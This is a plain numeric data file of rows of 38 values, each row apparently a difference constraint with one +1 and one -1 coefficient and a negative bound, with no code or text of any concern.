0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 -48.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 -29.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 -63.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 -40.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 -48.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 -44.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 -63.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 -78.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 -48.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 -89.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 -63.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 -91.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -20.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -35.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -40.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -34.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -20.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -47.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -40.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -40.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -20.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -36.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -40.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -6.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -20.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -87.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -40.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -34.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -20.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -57.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -40.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -4.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -20.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -32.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -40.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -50.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 -20.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 -29.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 -40.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 -40.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 -20.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 -44.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 -40.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 -78.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 -20.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 -89.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 -40.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 -91.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -35.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -47.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -34.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -40.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -35.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -36.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -34.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -6.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -35.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -87.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -34.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -34.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -35.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -57.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -34.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -4.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -35.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -32.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -34.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -50.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 -35.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 -29.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 -34.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 -40.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 -35.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 -44.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 -34.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 -78.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 -35.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 -89.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 -34.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 -91.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -47.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -36.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -40.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -6.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -47.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -87.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -40.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -34.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -47.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -57.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -40.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -4.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -47.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -32.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -40.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -50.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 -47.00
